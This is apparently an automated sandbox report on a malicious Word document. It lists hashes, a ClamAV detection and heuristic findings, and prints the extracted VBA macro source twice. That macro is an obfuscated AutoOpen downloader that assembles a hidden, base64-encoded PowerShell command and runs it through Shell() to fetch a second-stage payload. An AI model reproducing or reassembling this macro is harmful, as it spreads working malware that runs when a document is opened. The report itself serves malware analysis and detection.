Office (OLE) malware analysis — malicious · 83d5bb6488b1ebe9

MALICIOUS

Office (OLE)

101.5 KB Created: 2018-05-28 10:30:00 Authoring application: Microsoft Office Word First seen: 2018-07-08

MD5: 0e8a90c0ff191be255eeb99c0968fa03 SHA-1: 872f3adceeab1423fa7654d15d8a0d0701e4b46a SHA-256: 83d5bb6488b1ebe9b312905edc5b627b8d67d4b3e99e62060026baae2240ef93

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains legacy WordBasic auto-execution markers and a critical heuristic firing for Shell() calls within VBA. The Autoopen macro function is present and calls a Shell function, indicating an attempt to execute arbitrary commands. The script attempts to construct a PowerShell command, suggesting it's a downloader for a second-stage payload.

Heuristics 7

ClamAV: Doc.Malware.Valyria-6735999-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-6735999-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

rJNTq = (TXcKqL * BVSvoz - tIzim * Round(58709)) + (84724 - Rnd(LDDww) + 68145 + WpcZw)
fviVpDJ = Shell(FowDJPn + Chr(vbKeyP) + lbaHY + PMiWX, vbHide)
ZWzzph = (HUowC * YiJijM - NMYGrP * Round(20575)) + (90276 - Rnd(dSOCkU) + 72995 + hzzSw)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15448 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15448 bytes
SHA-256: `37443cf0b0160f7d4ab847a56c9eb4a9a1d8352aa9b1faa8c3a067049bd87ab7`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "phRaaUTMW" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function jaGhqrnmu() On Error Resume Next zRVqc = (hCEmfO * qfTfD - CXknBv * Round(85085)) + (83013 - Rnd(pXfbM) + 63020 + VAMlvq) imoOtM = (YHCAb * MiUukw - MhGEB * Round(40529)) + (90985 - Rnd(TTStL) + 55337 + BNhwi) jaGhqrnmu = TFIowZcswD + AkjvFj + wwYKtbQs + KkJNEt + XwpNr + nDcMQTBB + jwCDmwhGrz + XtzawhpiP + wHFYMY + XVfZoWH + lwmNI + JGACpMipW RPdaks = (rjRBzS * wfkMYR - FojHP * Round(22230)) + (11456 - Rnd(GNlTnv) + 33322 + dRcMSm) End Function Sub Autoopen() On Error Resume Next RwtvJ = (dUZNX * btTUj - OZDPdf * Round(72705)) + (60875 - Rnd(GuwEv) + 35706 + SKWQwH) JQpEwP (jaGhqrnmu) tMGPkp = (KwvjDN * CTOJdT - ZdIbt * Round(79856)) + (52975 - Rnd(wQjHw) + 20119 + WPBqT) End Sub Function JQpEwP(PMiWX) On Error Resume Next wAVrFn = (qHHSn * Tjwnr - HBzfD * Round(93349)) + (31791 - Rnd(zzwHnA) + 52874 + cmknBL) rJNTq = (TXcKqL * BVSvoz - tIzim * Round(58709)) + (84724 - Rnd(LDDww) + 68145 + WpcZw) fviVpDJ = Shell(FowDJPn + Chr(vbKeyP) + lbaHY + PMiWX, vbHide) ZWzzph = (HUowC * YiJijM - NMYGrP * Round(20575)) + (90276 - Rnd(dSOCkU) + 72995 + hzzSw) End Function Attribute VB_Name = "OFwAKXMGwNzSN" Function TFIowZcswD() On Error Resume Next UMvwpw = (KQIMRr * ARFhO - ZzIRz * Round(16630)) + (47553 - Rnd(pMKtO) + 600 + SMzuz) bwsTj = "owersHeL" + "L -WinDowsTyle " + "hidden -e " + "JgAoACg" uPpdWA = (OiMvv * SUDiwh - VUDzTC * Round(82339)) + (93314 - Rnd(FGnQti) + 69667 + nbHSz) wjSprmbi = "AVgBhAFIASQB" + "BAEIATABFA" + "CAAJwAqAE0AZ" + "AByACoAJw" + "ApAC4A" + "TgBhAE0AZQBbA" + "DMALAAxADEALAAy" + "AF0ALQBqA" + "E8AaQBOACcAJw" zPwjh = (OhANXH * MrJTKJ - cGIioo * Round(69696)) + (69607 - Rnd(WZHXMD) + 66723 + VJHTY) XdFjGi = "ApACAAKAAoACgA" + "KAAiAHsANgAxA" + "H0AewA0ADkA" + "fQB7ADcAfQB7ADI" + "ANAB9AHsANA" ZsmEY = (dHzJRi * GTstEi - dnQjNI * Round(17091)) + (79600 - Rnd(ACNEAi) + 73352 + jMIMP) nHIultHX = "B9AHsA" + "NwA1AH0AewAy" + "ADMAfQB7ADEAMQ" + "B9AHsANAA0" + "AH0Aew" + "AyADYAfQB7ADIA" + "NwB9A" + "HsAMgA4AH0" + "AewA1ADAAfQB" + "7ADcA" wGiJbA = (QCphbm * DrPSoJ - HEZtYh * Round(82745)) + (18647 - Rnd(WdOLSc) + 58993 + hoVkzY) IntJbWIhqQN = "MwB9AHsAOAA3AH" + "0AewA0A" + "DcAfQB7ADMAfQB7" + "ADkAMAB9AHsAOAA" + "zAH0AewAxADQAf" + "QB7ADY" YwJws = (pYFfqC * QDTlG - TDNaK * Round(50491)) + (24630 - Rnd(lzoLH) + 61400 + UcXsR) LcWRmpljimo = "ANQB9AHsAOQA0" + "AH0Ae" + "wA1ADE" + "AfQB7A" + "DEAMAAxAH0A" + "ewA1ADY" + "AfQB7A" + "DQANgB9AHs" + "ANQA4AH0AewA3" jFIjba = (hdVji * FULVzY - fDYRTj * Round(43325)) + (12507 - Rnd(bvtoNm) + 95583 + ujzqj) wiDRl = "ADQAfQB" + "7ADQAMwB9AHsA" + "MwAwAH0" + "AewA1ADQ" + "AfQB7ADgAOQB9AH" + "sAMwA4AH0Aew" + "A4ADEAfQB7AD" TFIowZcswD = bwsTj + wjSprmbi + XdFjGi + nHIultHX + IntJbWIhqQN + LcWRmpljimo + wiDRl End Function Function AkjvFj() On Error Resume Next iFhSa = (JGYUmR * hrMsDP - CappbS * Round(43029)) + (13094 - Rnd(QYovut) + 22877 + QvYlUW) aPmvaQ = "QANQB9A" + "HsAMQA5AH0AewA" + "5ADIAfQB7AD" + "cANwB9AHsA" + "MQAwADUAfQ" + "B7ADEANQB9AHsA" CwIQM = (rvbzGE * rqHLD - IvzVin * Round(61313)) + (50367 - Rnd(IrAhDQ) + 75344 + JGutZc) kNYIHVCwE = "NgAzAH0AewA2A" + "DIAfQB7ADUA" + "fQB7ADQ" + "AMAB9AH" + "sAMQB9AHsAOAA" + "wAH0AewA3AD" + "AAfQB7ADkAN" + "QB9AHsAOQA3AH0" + "AewA3ADEAfQB7A" wopwu = (nMipO * EaacjH - nkwYB * Round(98435)) + (8572 - Rnd(wFIlj) + 36963 + XtwjfB) vGNzbs = "DAAfQB7ADYAOQB9" + "AHsAOQB9AHs" + "AMgA5AH0AewA" + "5ADEA" + "fQB7ADMANgB9" + "AHsAMQAyA" + "H0AewA0ADEAfQB" + "7ADkA" iRron = (EjdNlJ * cBPozq - pGZDf * Round(19580)) + (38674 - Rnd(jiwcO) + 36980 + fhMMW) UVSWL = "OAB9AHsAMgAxAH" + "0AewAxADMAf" + "QB7ADMAN" + "QB9AHsAMQAwA" + "DAAfQB7ADcAOAB9" + "AHsANg" + "B9AHsAOAAyAH0A" OcvAZ = (HWdKmp * iXrnJc - BCzQJ * Round(90777)) + (41706 - Rnd(VibkU) + 14076 + iiDFfM) ihtzmBvb = "ewAyADI" + "AfQB7ADQAOAB" + "9AHsAOAA" + "2AH0Ae" + "wA4AH" + "0AewAx" + "ADcAfQB7" CTKmao = (ntDjHF * ciriI - AviBVf * Round(7402)) + (85633 - Rnd(kDzCU) + 99354 + GWUhoi) ClRhFviJ = "ADMAMQB9A" + "HsANgA0AH0A" + "ewA5ADMAfQB7ADg" + "AOAB9AH" + "sAMwA0AH0Ae" + "wA2ADgAfQB7ADMA" + "NwB9AHsA" AkjvFj = aPmvaQ + kNYIHVCwE + vGNzbs + UVSWL + ihtzmBvb + ClRhFviJ End Function Function wwYKtbQs() On Error Resume Next YBMBOC = (MbXbj * lIRuk - aJAmFl * Round(24145)) + (93979 - Rnd(UKbwR) + 14263 + zIipq) RVaBSQJFSVz = "MQAwADIAfQ" + "B7ADcAMgB9" + "AHsAMQAwADMAfQ" + "B7ADkANgB9AHsAN" + "wA5AH0Aew" + "AyAH0AewAxADg" + "AfQB7ADEAMA" + "A2AH0AewA5AD" + "kAfQB7ADEAMAB9" YcZan = (uzEZww * iYPGQ - FbrQv * Round(60388)) + (28287 - Rnd(bIJQvz) + 25578 + XMfzTC) RCoMah = "AHsAM" + "wAyAH0A" + "ewAzADMA" + "fQB7ADUANwB9AH" + "sAMgAwAH0AewA" + "0ADIAfQB7ADYAN" QkizJc = (kBOmkk * LdvZsS - vJBzvt * Round(747)) + (5900 - Rnd(SiCBaj) + 32908 + FXpYHC) fJiDLkDVp = "gB9AHs" + "AMQAwA" + "DQAfQB7ADUAOQB" + "9AHsANQAzA" + "H0AewA1A" + "DIAfQ" PcEMi = (YbjmVb * zOjlha - EhjGfM * Round(24701)) + (38171 - Rnd(dQoHs) + 69048 + onUrt) PrfniVEGcw = "B7ADgA" + "NAB9AHsA" + "MwA5AH0Ae" + "wA1ADUAfQB7AD" + "cANgB9AHsAMgA" + "1AH0AewA4ADU" + "AfQB7AD" + "YANwB" wwYKtbQs = RVaBSQJFSVz + RCoMah + fJiDLkDVp + PrfniVEGcw End Function Function KkJNEt() On Error Resume Next SPFEn = (qnDrjG * hszhV - EFGVh * Round(39081)) + (71052 - Rnd(vuzMi) + 3674 + OUBaZc) rusjM = "9AHsAN" + "gAwAH0AewA" + "xADYAfQAiAC0AZ" + "gAnAC4AYwBvAG0A" + "LgAnACwAJwBl" iZZHAo = (aqGwU * BMtYkC - vtGiz * Round(8252)) + (11597 - Rnd(XwGwu) + 53277 + jwZTw) AKjWXCL = "ACcALAAnA" + "G4AIA" + "BiACcALAA" + "nACsAJwAsACcA" + "VgA3ACcALA" + "AnAC8AJw" + "AsACcAaQ" + "BlAC4AJwAsA" + "CcAVgA3AHQAbg" + "BWACcALA" VDqOO = (vBbcp * FhoTv - wiiCt * Round(99441)) + (4430 - Rnd(Nifww) + 32838 + KZpPQ) MKGCjAYTBXw = "AnAHQAKAAnACwA" + "JwBKAE8AMwAnA" + "CwAJwB7" + "AHQAcgB5AHs" + "AYgBkAHQAW" rKRwUQ = (ptiNB * WNdSJ - LozRWf * Round(57258)) + (47798 - Rnd(vHwEf) + 49872 + YRGZi) whXwmDS = "QBZACcALAA" + "nAHQAJwAsACcA" + "cgBhAG4A" + "YwBvA" + "GkAcwAtACcA" + "LAAnAG4A" + "cwAnACwA" kTwSvi = (thHjXE * stvQqs - tmjJW * Round(80909)) + (34077 - Rnd(LMjIjD) + 60488 + DkuiW) boZnMHCvTP = "JwBiAC" + "cALAAnAGs" + "AMQAvA" + "EAAJwAsACcAa" + "wA7AH0" + "AYwBhAHQ" + "AYwBoAHsAfQ" KkJNEt = rusjM + AKjWXCL + MKGCjAYTBXw + whXwmDS + boZnMHCvTP End Function Function XwpNr() On Error Resume Next ASjai = (fWpjq * qhMJY - cFVuwP * Round(40555)) + (82582 - Rnd(YrjvN) + 74802 + lRcvLF) QYhRaqiOWWd = "B9ACcALAAnAFY" + "ANwB0ACcAL" + "AAnAGQAdA" + "BBACcALAA" + "nACAAP" + "QAgAFYAN" + "wB0AA0ACgBoAH" + "QAdABwADoALw" + "AvAHAAJwA" + "sACcAMwB" pWASQ = (zHuLC * RrGVR - ozGfI * Round(75774)) + (55629 - Rnd(Kwvjch) + 44885 + fYwzEd) asbkGt = "HAGwAZQ" + "B3AEg" + "AOAAoAGIAJ" + "wAsACcAZ" + "QAnACwAJwAvACcA" + "LAAnAFYANwA" + "nACwA" + "JwA3AHQAKw" + "AnACw" QwVtL = (oiwLq * GCKON - kCBMNi * Round(39325)) + (58712 - Rnd(MiZTA) + 19940 + pintRK) NPYjij = "AJwA3ACcALAAn" + "ACsAVgA3AC" + "cALAAnAH" + "QAdABW" + "ADcAdAApACcALA" + "AnACAAcg" RzVmK = (uVKiI * aNEim - hzcwW * Round(84155)) + (79591 - Rnd(VMcaT) + 46019 + jjNsw) anaCGHNW = "AnACwAJwB" + "EAHIAL" + "wBAAGgAJwAsACc" + "AeAB0" + "ACgAMQAwACc" + "ALAAnAEAAVgA3A" + "HQAKQA" + "7AGIAZAB0AFMARA" + "BDACcALAAnAFUAL" + "gB3AE" NbqYq = (jjWlz * UjLtU - dzzvhs * Round(67675)) + (29293 - Rnd(vudrqq) + 29385 + YlYfj) zlNzjOVQ = "gAOABEAG8AOQA" + "zAEcAVwBuA" + "GwAOQAzA" + "CcALAA" + "nAEcATwB" + "hAGQARgBJACc" + "ALAAnAGQAdABOA" XwpNr = QYhRaqiOWWd + asbkGt + NPYjij + anaCGHNW + zlNzjOVQ End Function Function nDcMQTBB() On Error Resume Next dzaca = (oOnPkP * LRtzob - lpsuJJ * Round(10688)) + (30491 - Rnd(IwwzoU) + 91464 + QIQwj) dFOmnXlU = "FMAQgAgA" + "CsAIAAoAFYANwAn" + "ACwAJwAuACcAL" + "AAnAC8ALwBm" + "ACcALAAnAHQAKw" + "BWADcAdABlACcAL" + "AAnADMA" + "MwApADsAYgAnAC" + "wAJwA" + "rAFYAJ" OHbsD = (injEF * nHjTR - YbfTnR * Round(20691)) + (82536 - Rnd(mhjKi) + 8113 + dnhRCN) jfKcCaz = "wAsACc" + "AaQBuAG4AJw" + "AsACc" + "AcgAnACwA" + "JwBkAHQAY" + "QBzAGYAYwA" + "uAHcA" UMssP = (nawrXY * bvTJh - fsGDt * Round(50133)) + (38317 - Rnd(itlzq) + 20275 + KGvZu) SkWLOlnGL = "SAA4AFQAbwBTA" + "HQAcgA5" + "ADMAJwAsACcAZAB" + "0AG4AcwBhAGQ" + "AYQBzAGQALgBu" + "AGUAJwAsAC" iLlon = (wGhTY * phQNIw - vcJhK * Round(84702)) + (62608 - Rnd(mQpYj) + 73900 + zjVOG) wUjwLv = "cAKwBW" + "ADcAdA" + "B3AC0AbwBi" + "AGoAZQBj" + "AFYANwB" + "0ACcA" nDcMQTBB = dFOmnXlU + jfKcCaz + SkWLOlnGL + wUjwLv End Function Function jwCDmwhGrz() On Error Resume Next VwwZN = (BcCzz * HwhYia - GtMpsv * Round(78748)) + (95659 - Rnd(kjsusw) + 51786 + MHzcfk) wLUsbZm = "LAAnAEMAWAAn" + "ACwAJwBC" + "ACcALAAnAFYA" + "NwB0AC" TrbcnV = (CuSza * IEiYR - sTEDD * Round(16562)) + (46039 - Rnd(MWdTb) + 16419 + VATMKR) UjWjqv = "cALAAnAFQAcQ" + "BxAGsALwBWADcAd" + "AAnACw" + "AJwBu" + "AHMAYQBkAGEAc" + "wBkACAAPQAg" + "ACYAKA" + "AnACwAJwBhAG" + "4AZABv" + "AG0AOwBiAGQ" hwbtY = (VHdYK * rQPnX - PRMfQ * Round(96712)) + (45705 - Rnd(imEKL) + 14421 + hlGbKj) cihQh = "AdABZAFkAVQAg" + "AD0AJwAsACcAIAB" + "TACcALAA" + "nACkAOwAmACgAV" iEtEJ = (QNGMv * uzwChd - HniDT * Round(25864)) + (6646 - Rnd(KiIMM) + 68873 + jImMp) fvGkIDrzI = "gA3AHQASQBu" + "AHYAbwBWA" + "DcAJwAsACcAUwBE" + "AEMAJwAs" + "ACcAMAAwA" + "DAALAA" + "nACwAJwA3AHQA" + "awBWAC" ARfrO = (MwjjZ * pcRzAZ - FtGizA * Round(67202)) + (18250 - Rnd(PqPUoJ) + 12701 + CMEvq) VEkipiDZw = "cALAAnAHQA" + "LgBXAGUAYg" + "BDAGwAaQBlAG" + "4AdAA7AGIA" + "ZAB0AE4A" bvjNX = (skHMV * Suiiqf - cjsTE * Round(19197)) + (62355 - Rnd(vwoVv) + 28932 + fnOmL) LCAmQunHMsG = "UwAnACwAJwA" + "5ACcA" + "LAAnACAAJwAsAC" + "cAZAB0AC" + "cALAAnAEMAKQA" + "7AGIAcgBl" riiDz = (qMnUV * mNkib - DrlwnS * Round(82791)) + (49144 - Rnd(tPuUE) + 38503 + kEKQE) Mfflhkwf = "AGEAJwAsAC" + "cAYgBkAHQ" + "AJwAsACcA" + "OgAvACc" jwCDmwhGrz = wLUsbZm + UjWjqv + cihQh + fvGkIDrzI + VEkipiDZw + LCAmQunHMsG + Mfflhkwf End Function Function XtzawhpiP() On Error Resume Next qJIbT = (JBpwMi * UQvqPM - jzwsA * Round(32525)) + (9781 - Rnd(dfYKaw) + 1661 + oMzuQT) DEhOX = "ALAAnAGgAd" + "AB0AHAA" + "JwAsAC" + "cAIAA" + "9ACAAYg" SilVz = (pNuEfV * MQaCrd - JYBIk * Round(37782)) + (76485 - Rnd(iQRJQ) + 87105 + KPvFpn) whbMWXuM = "BkAHQAZQBu" + "AHYAOgB" + "wACcALAAnAGoA" + "ZQBjAHQ" + "AVgA3ACcALAAn" + "AEcAaQA5ADMA" + "RwBOAGcAdwBIA" + "CcALAAnAG0AVg" + "A3AHQ" + "AKQAoAGIA" dGvcH = (XlwDm * uujdlf - hidmV * Round(10128)) + (99528 - Rnd(FLHloj) + 83064 + vNHLYj) jTdsQToaWJr = "ZAB0AFMARAAnACw" + "AJwB0AC4AZQ" + "B4AFYANw" + "AnACwAJwBi" + "AHIALwBlA" + "FEAJwAsACcA" + "bwBuAC4AJ" + "wAsACcAb" UNWUzj = (mKZmGj * TZXIjS - pSwLDz * Round(71561)) + (30579 - Rnd(UiwpJY) + 97821 + AzbYwL) GcaDT = "AB1AGMA" + "YQBzAHcAZQ" + "BiACcALAAnAC" + "kAOwBmAC" XtzawhpiP = DEhOX + whbMWXuM + jTdsQToaWJr + GcaDT End Function Function wHFYMY() On Error Resume Next dHubn = (DrRSiv * IvksW - FHHtqv * Round(51425)) + (74997 - Rnd(hqBsG) + 92773 + vEJctQ) WjpLslZLRuj = "cALAAnA" + "CAAJwAsACcAPQAg" + "AGIAJwAsAC" + "cAdABlACcALAAn" + "ADcAdAArAF" + "YAJwAs" + "ACcAYw" hXfdab = (OjCPG * WOEjMw - KaRlpc * Round(51863)) + (1297 - Rnd(iunpVa) + 42951 + RALCS) GfiIQvT = "BvAC4AegBh" + "AC8AJ" + "wAsACcA" + "RQAvA" + "EAAaAB0AHQ" + "AcAA6AC8ALwB" + "sAGkAZAB" wczBL = (AdPwTb * FtnwA - jAIcQ * Round(48885)) + (91941 - Rnd(tOMlus) + 37131 + IpaPT) AYOEjrFMQbn = "vAGMAbwBuAGMA" + "aABpAGcAbA" + "AnACwAJwBhAH" + "MAZgBjACAAaQ" + "AnACwAJwByAHYA" FiqVtT = (RiBKw * HqAjcP - GPDLZj * Round(75387)) + (74268 - Rnd(zYlkDv) + 56958 + vjbbbj) MUCOmYdaG = "YQB0AGk" + "AJwAsACcAZAB0" + "AEEARAAnACwAJwB" + "jAG8AbQAnACwAJ" + "wAtAG8AJwAsAC" bvJMb = (GwzfZ * bfvKji - hdYOfM * Round(25294)) + (27704 - Rnd(wnNifs) + 69447 + ZbKbqa) uFLObNQrK = "cAdAAn" + "ACwAJwB0AGUALQ" + "BJAHQAZQAnACwAJ" + "wAuAFMAcABsA" + "GkAJwA" + "sACcALgAoAFYANw" + "B0AG4AZQAnACwAJ" + "wBlAEcAMABW" + "ADcAdAAgAC" wHFYMY = WjpLslZLRuj + GfiIQvT + AYOEjrFMQbn + MUCOmYdaG + uFLObNQrK End Function Function XVfZoWH() On Error Resume Next EiFCGz = (vwuCh * hdAOu - BLSuK * Round(67943)) + (90673 - Rnd(kFTFq) + 6678 + JBGLHo) twwsFWq = "sAIABiA" + "CcALA" + "AnACAAMgA4ADI" + "AMQAnACwAJwB" + "WADcAdAB3AFYAN" + "wB0ACs" + "AVgA3AHQAJw" + "AsACcAdAB0AH" sQkcKi = (wbvhXY * mjvSLh - pdpMdP * Round(47275)) + (54332 - Rnd(DmibSB) + 19828 + YNVniX) cmzzABC = "AAcwA6ACcAL" + "AAnAGoAYg" + "B1AHkAcwAuAC" + "cALAAnAHUAY" + "gBsAGkAYwAgACs" + "AIABWADcAdAAnA" SfLWR = (svGoD * uQjSXU - rvtwIl * Round(49277)) + (26415 - Rnd(wLzLFR) + 87894 + DCKhLq) WaswhjMkHSh = "CwAJwB" + "0ACkAJwAsACcAY" + "wBvAG0ALwAwAFIA" + "JwAsACcAYQB" + "jAGgAKABiAG" + "QAdAAnACwAJ" + "wB0AGcAQwA" + "2AFIALwBAA" + "GgAdAB0A" + "HAAOg" mPOPQ = (uzTwfb * iDkrz - zuqrid * Round(43673)) + (65752 - Rnd(VJAjF) + 40985 + sXKwC) AIPVWq = "AvAC8AJwAsAC" + "cAbwBtAG0AJwA" + "sACcAKQAnACw" + "AJwBmA" OiOZp = (QzRTj * tcwXj - uJfcKw * Round(99182)) + (44187 - Rnd(YKNhB) + 91108 + jMdInC) BuifbnVEZ = "HIALwBlAHU" + "AQgB6ADUA" + "ZgAnA" + "CwAJwB5A" + "HMAdABlAG" + "0ALgB" + "OAGUAJwAs" PEqQS = (sNVrY * tZlUR - SProD * Round(72218)) + (66688 - Rnd(zvjuX) + 97702 + rPYUjj) TDzLWJGNIkW = "ACcAVgA" + "3AHQAJwAsACcAbw" + "ByAGUAJwAsACc" + "AOAAoACkALAAg" LKpWJ = (CUvsLj * maaAE - AMwdaT * Round(48546)) + (20875 - Rnd(JNzls) + 15056 + hzjck) rljdjUzqqBw = "AGIAJwAsAC" + "cAbgA5AH" + "kAJwAsACcAR" + "ABDAFgA" + "JwApACkAIA" + "AtAFIA" XVfZoWH = twwsFWq + cmzzABC + WaswhjMkHSh + AIPVWq + BuifbnVEZ + TDzLWJGNIkW + rljdjUzqqBw End Function Function lwmNI() On Error Resume Next fArio = (ERoXPw * wOjOCk - AKisZq * Round(24551)) + (67452 - Rnd(bTczkj) + 93300 + sfvGkU) FQKAjTJbR = "RQBwAG" + "wAYQBjAG" + "UAIAAoAFsAYwBIA" + "EEAUgBdADkAOA" + "ArAFsAYwBIAEE" + "AUgBdA" knMJoA = (drwPUR * IzRVYN - mAwRS * Round(89481)) + (43035 - Rnd(phQqt) + 14907 + dDusqp) fwjYvVjwdMz = "DEAMAAwA" + "CsAWwBjA" + "EgAQQBSAF0AMQAx" + "ADYAK" + "QAsAFsAYwBIAE" + "EAUgBdADMANgA" + "tAFIARQBwAGwA" BVMimj = (dkLGlz * QrWFOG - OwiYr * Round(42644)) + (38684 - Rnd(bfXNC) + 99082 + FnHmpL) JbubVuSP = "YQBjAGUAIAAgACg" + "AWwBjA" + "EgAQQBSAF0" + "AMQAxADkA" + "KwBbAG" EjHKAN = (Xmcji * WhFvNN - JjjXv * Round(74286)) + (79358 - Rnd(iwbQqR) + 87829 + RhVGBD) dDBqOZd = "MASABB" + "AFIAXQA3" + "ADIAKwBbA" + "GMASABB" + "AFIAXQA1ADYAK" + "QAsAFsAYw" + "BIAEEAUgBdADMAN" + "AAtAGMAUgBFAHA" + "AbABhA" lwmNI = FQKAjTJbR + fwjYvVjwdMz + JbubVuSP + dDBqOZd End Function Function JGACpMipW() On Error Resume Next viTMEX = (MZcvnY * kONYZ - oASrVc * Round(75053)) + (78269 - Rnd(rHNFn) + 77266 + bZkOAl) iHKihpCYcPJ = "GMAZQAnADkAMw" + "BHACcA" + "LABbAGMA" + "SABBAFIAXQA5ADY" + "ALQBSAE" + "UAcABsAGEAYwB" + "lACAAJwBWADcAd" + "AAnACwAWwBj" + "AEgAQQBSA" ovdUu = (THibOE * Mcrbkt - iViilL * Round(83486)) + (74809 - Rnd(nLoDzd) + 92442 + IsHujY) SfFOnUi = "F0AMwA5AC0AY" + "wBSAEUAc" + "ABsAGEAYwBlA" + "CgAWwBj" + "AEgAQQBSAF0A" + "MQAwA" qjtjwi = (iHmTT * vjipj - uQaBv * Round(66628)) + (63010 - Rnd(TslEw) + 92457 + rCSKoF) YFPrFv = "DEAKwBbAG" + "MASABBAFIAXQA3A" + "DEAKwBbAGMAS" + "ABBAFIAXQ" + "A0ADgAK" jhQfJj = (YJSOQi * QhwwS - qmViVX * Round(32883)) + (8860 - Rnd(QisNQk) + 86223 + PYzFui) YvvqI = "QAsAFsAYwBIAEE" + "AUgBdADkAMgA" + "pACkA" JGACpMipW = iHKihpCYcPJ + SfFOnUi + YFPrFv + YvvqI End Function

SHA-256: 37443cf0b0160f7d4ab847a56c9eb4a9a1d8352aa9b1faa8c3a067049bd87ab7

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "phRaaUTMW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function jaGhqrnmu()
On Error Resume Next
zRVqc = (hCEmfO * qfTfD - CXknBv * Round(85085)) + (83013 - Rnd(pXfbM) + 63020 + VAMlvq)
imoOtM = (YHCAb * MiUukw - MhGEB * Round(40529)) + (90985 - Rnd(TTStL) + 55337 + BNhwi)
jaGhqrnmu = TFIowZcswD + AkjvFj + wwYKtbQs + KkJNEt + XwpNr + nDcMQTBB + jwCDmwhGrz + XtzawhpiP + wHFYMY + XVfZoWH + lwmNI + JGACpMipW
RPdaks = (rjRBzS * wfkMYR - FojHP * Round(22230)) + (11456 - Rnd(GNlTnv) + 33322 + dRcMSm)
End Function
Sub Autoopen()
On Error Resume Next
RwtvJ = (dUZNX * btTUj - OZDPdf * Round(72705)) + (60875 - Rnd(GuwEv) + 35706 + SKWQwH)
JQpEwP (jaGhqrnmu)
tMGPkp = (KwvjDN * CTOJdT - ZdIbt * Round(79856)) + (52975 - Rnd(wQjHw) + 20119 + WPBqT)
End Sub
Function JQpEwP(PMiWX)
On Error Resume Next
wAVrFn = (qHHSn * Tjwnr - HBzfD * Round(93349)) + (31791 - Rnd(zzwHnA) + 52874 + cmknBL)
rJNTq = (TXcKqL * BVSvoz - tIzim * Round(58709)) + (84724 - Rnd(LDDww) + 68145 + WpcZw)
fviVpDJ = Shell(FowDJPn + Chr(vbKeyP) + lbaHY + PMiWX, vbHide)
ZWzzph = (HUowC * YiJijM - NMYGrP * Round(20575)) + (90276 - Rnd(dSOCkU) + 72995 + hzzSw)
End Function


Attribute VB_Name = "OFwAKXMGwNzSN"
Function TFIowZcswD()
On Error Resume Next
UMvwpw = (KQIMRr * ARFhO - ZzIRz * Round(16630)) + (47553 - Rnd(pMKtO) + 600 + SMzuz)
bwsTj = "owersHeL" + "L -WinDowsTyle " + "hidden -e " + "JgAoACg"
uPpdWA = (OiMvv * SUDiwh - VUDzTC * Round(82339)) + (93314 - Rnd(FGnQti) + 69667 + nbHSz)
wjSprmbi = "AVgBhAFIASQB" + "BAEIATABFA" + "CAAJwAqAE0AZ" + "AByACoAJw" + "ApAC4A" + "TgBhAE0AZQBbA" + "DMALAAxADEALAAy" + "AF0ALQBqA" + "E8AaQBOACcAJw"
zPwjh = (OhANXH * MrJTKJ - cGIioo * Round(69696)) + (69607 - Rnd(WZHXMD) + 66723 + VJHTY)
XdFjGi = "ApACAAKAAoACgA" + "KAAiAHsANgAxA" + "H0AewA0ADkA" + "fQB7ADcAfQB7ADI" + "ANAB9AHsANA"
ZsmEY = (dHzJRi * GTstEi - dnQjNI * Round(17091)) + (79600 - Rnd(ACNEAi) + 73352 + jMIMP)
nHIultHX = "B9AHsA" + "NwA1AH0AewAy" + "ADMAfQB7ADEAMQ" + "B9AHsANAA0" + "AH0Aew" + "AyADYAfQB7ADIA" + "NwB9A" + "HsAMgA4AH0" + "AewA1ADAAfQB" + "7ADcA"
wGiJbA = (QCphbm * DrPSoJ - HEZtYh * Round(82745)) + (18647 - Rnd(WdOLSc) + 58993 + hoVkzY)
IntJbWIhqQN = "MwB9AHsAOAA3AH" + "0AewA0A" + "DcAfQB7ADMAfQB7" + "ADkAMAB9AHsAOAA" + "zAH0AewAxADQAf" + "QB7ADY"
YwJws = (pYFfqC * QDTlG - TDNaK * Round(50491)) + (24630 - Rnd(lzoLH) + 61400 + UcXsR)
LcWRmpljimo = "ANQB9AHsAOQA0" + "AH0Ae" + "wA1ADE" + "AfQB7A" + "DEAMAAxAH0A" + "ewA1ADY" + "AfQB7A" + "DQANgB9AHs" + "ANQA4AH0AewA3"
jFIjba = (hdVji * FULVzY - fDYRTj * Round(43325)) + (12507 - Rnd(bvtoNm) + 95583 + ujzqj)
wiDRl = "ADQAfQB" + "7ADQAMwB9AHsA" + "MwAwAH0" + "AewA1ADQ" + "AfQB7ADgAOQB9AH" + "sAMwA4AH0Aew" + "A4ADEAfQB7AD"
